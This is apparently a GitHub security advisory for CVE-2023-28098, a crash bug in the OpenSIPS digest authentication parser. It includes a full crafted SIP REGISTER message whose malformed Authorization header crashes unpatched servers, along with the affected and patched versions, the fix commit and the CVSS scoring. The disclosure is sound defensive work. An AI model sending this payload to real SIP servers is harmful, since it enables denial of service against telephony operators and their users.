Skip to content

Vulnerability in the Digest Authentication Parser

Moderate
liviuchircu published GHSA-jrqg-vppj-hr2h Mar 15, 2023

Package

opensips (OpenSIPS Core)

Affected versions

<= 3.2

Patched versions

3.1.7, 3.2.4

Description

Impact

A specially crafted Authorization header causes OpenSIPS to crash or behave in an unexpected way
due to a bug in the function parse_param_name() .

This issue was discovered while performing coverage guided fuzzing of the function parse_msg. The
AddressSanitizer identified that the issue occurred in the function q_memchr() which is being called by the
function parse_param_name().

This issue could be reproduced by sending the following SIP message to OpenSIPS:

REGISTER sip:172.27.0.3 SIP/2.0<CRLF>
Via: SIP/2.0/UDP 172.27.0.1:58896;rport;branch=z9hG4bK-83ZZolARa<CRLF>
Max-Forwards: 70<CRLF>
From: <sip:74833642@172.27.0.3>;tag=nNkDsaHAhAybPyt8<CRLF>
To: <sip:45012982@692134.27.18446744073709551615.3><CRLF>
Call-ID: 83ZZolAa<CRLF>
CSeq: 9 REGISTER<CRLF>
Contact: <sip:74833641@172.28.0.0:58896;transport=udp><CRLF>
Expires: 60<CRLF>
Content-Length: 0<CRLF>
Authorization: Digest a a=\"\",real<CRLF>
<CRLF>

This malformed message was tested against an instance of OpenSIPS and was found to crash the server.

This issue may cause erratic program behaviour or a server crash. It affects configurations containing
functions that make use of the affected code, such as the function www_authorize() .

Solutions and Recommendations

This issue was fixed in commit dd9141b which was tested and found to address the issue. For more info, refer to the Audit Document section 3.4.

For more information

If you have any questions or comments about this advisory:

Severity

Moderate
5.9
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2023-28098

Weaknesses

No CWEs

Credits